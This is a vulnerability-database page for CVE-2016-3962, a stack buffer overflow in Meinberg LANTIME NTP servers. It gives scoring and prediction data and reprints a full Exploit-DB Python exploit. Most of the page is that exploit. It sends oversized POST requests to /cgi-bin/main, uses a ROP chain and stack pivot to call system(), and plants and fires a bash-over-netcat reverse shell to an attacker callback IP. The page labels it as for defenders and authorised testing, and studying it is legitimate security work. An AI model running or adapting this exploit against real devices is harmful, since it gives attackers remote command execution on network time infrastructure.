CVE-2016-3962

high
Published 2016-07-03 ยท Modified 2026-05-06
CVSS v3
7.3
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
8.3

Description

Stack-based buffer overflow in the NTP time-server interface on Meinberg IMS-LANTIME M3000, IMS-LANTIME M1000, IMS-LANTIME M500, LANTIME M900, LANTIME M600, LANTIME M400, LANTIME M300, LANTIME M200, LANTIME M100, SyncFire 1100, and LCES devices with firmware before 6.20.004 allows remote attackers to obtain sensitive information, modify data, or cause a denial of service via a crafted parameter in a POST request.

Predictions

Exploit likelihood
82%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-40120 remote hardware python ยท 6 KB
b0yd ยท 2016-07-17

Meinberg NTP Time Server ELX800/GPS M4x V5.30p - Remote Command Execution / Escalate Privileges

python exploit Source: Exploit-DB
#!/usr/bin/python
#
# EDB Note: Source ~ https://github.com/securifera/CVE-2016-3962-Exploit
# EDB Note: More info ~ https://www.securifera.com/blog/2016/07/17/time-to-patch-rce-on-meinberg-ntp-time-server/
#
# 271 - trigger notifications
# 299 - copy user defined notifications

# Kernel Version: 2.6.15.1
# System Version: 530 
# Lantime configuration utility 1.27
# ELX800/GPS M4x V5.30p

import socket
import struct
import telnetlib
import sys
import time

if len(sys.argv) < 3:
	print "[-] <Host> <Callback IP> "
	exit(1)

	
host = sys.argv[1]
callback_ip = sys.argv[2]

print "[+] exploiting Meinburg M400"
port = 80

###################################################################
#
# Copy user_defined_notification to /www/filetmp
# Append reverse shell string to /file/tmp	
#
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8

#must have a listener setup to receive the callback connection on ip 192.168.60.232
# i.e. nc -v -l -p 4444
command = 'cp /mnt/flash/config/user_defined_notification /www/filetmp; echo "{rm,/tmp/foo};{mkfifo,/tmp/foo};/bin/bash</tmp/foo|{nc,' + callback_ip +'0,4444}>/tmp/foo;" >> /www/filetmp'

msg = "button=" + "A"*10028 
msg += struct.pack("I", system )
msg += struct.pack("I", exit )
msg += struct.pack("I", some_str )
msg += command + "\x00"

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close()

time.sleep(1)

###################################################################
#
# Copy /www/filetmp to user_defined_notification	
# 
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

send_cmd = 0x807ED88
system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8
ret = 0x804CE65

#stack pivot
stack_pivot = 0x8049488
msg = "button=" + "A" * 9756

msg += "B" * 28
msg += struct.pack("I", 0x7FFEE01A )       # ebp
msg += struct.pack("I", 0x0804ce64 )       # pop eax ; ret
msg += struct.pack("I", some_str - 0x100 ) # some place
msg += struct.pack("I", 0x080855cc )       # add dword ptr [eax + 0x60], ebp ; ret
msg += struct.pack("I", 0x080651d4 )       # inc dword ptr [ebx + 0x566808ec] ; ret
msg += struct.pack("I", ret ) * (71/4)

msg += struct.pack("I", send_cmd )
msg += struct.pack("I", exit )
msg += struct.pack("I", 0x80012111 )       # [eax + 0x60]
msg += struct.pack("I", some_str )         # buffer
msg += struct.pack("I", 0xffffffff )       # count
msg += "E" * 120

msg += struct.pack("I", 0xB1E8B434 )   # ebx
msg += struct.pack("I", some_str - 100 )   # esi
msg += struct.pack("I", some_str - 100 )   # edi
msg += struct.pack("I", some_str - 0x100 ) # ebp
msg += struct.pack("I", stack_pivot )      # mov esp, ebp ; ret
msg += "A" * 100

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close

time.sleep(1)

###################################################################
#
# Trigger reverse shell	
# 
	
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

send_cmd = 0x807ED88
system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8
ret = 0x804CE65

#stack pivot
stack_pivot = 0x8049488
msg = "button=" + "A" * 9756

msg += "B" * 28
msg += struct.pack("I", 0x7FFEE01A )       # ebp
msg += struct.pack("I", 0x0804ce64 )       # pop eax ; ret
msg += struct.pack("I", some_str - 0x100 ) # some place
msg += struct.pack("I", 0x080855cc )       # add dword ptr [eax + 0x60], ebp ; ret
msg += struct.pack("I", 0x080651d4 )       # inc dword ptr [ebx + 0x566808ec] ; ret
msg += struct.pack("I", ret ) * (71/4)

msg += struct.pack("I", send_cmd )
msg += struct.pack("I", exit )
msg += struct.pack("I", 0x800120f5 )       # [eax + 0x60]
msg += struct.pack("I", some_str )         # buffer
msg += struct.pack("I", 0xffffffff )       # count
msg += "E" * 120

msg += struct.pack("I", 0xB1E8B434 )   # ebx
msg += struct.pack("I", some_str - 100 )   # esi
msg += struct.pack("I", some_str - 100 )   # edi
msg += struct.pack("I", some_str - 0x100 ) # ebp
msg += struct.pack("I", stack_pivot )      # mov esp, ebp ; ret
msg += "A" * 100

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close()

time.sleep(1)


print "[+] cleaning up"
###################################################################
#
# Kill all mains that are hung-up
#
csock = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
csock.connect ( (host, int(port)) )

param = "A" * 0x2850

resp = "POST /cgi-bin/main HTTP/1.1\r\n"
resp += "Host: " + host + "\r\n"
resp += "User-Agent: Mozilla/5.0\r\n"
resp += "Accept: text/html\r\n"
resp += "Accept-Language: en-US\r\n"
resp += "Connection: keep-alive\r\n"
resp += "Content-Type: application/x-www-form-urlencoded\r\n"

system = 0x80490B0
exit = 0x80492C0
some_str = 0x850BDB8

command = 'killall main'

msg = "button=" + "A"*10028 
msg += struct.pack("I", system )
msg += struct.pack("I", exit )
msg += struct.pack("I", some_str )
msg += command + "\x00"

resp += "Content-Length: " + str(len(msg)) + "\r\n\r\n"
resp += msg
csock.send(resp)
csock.close()

print "[+] enjoy"

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.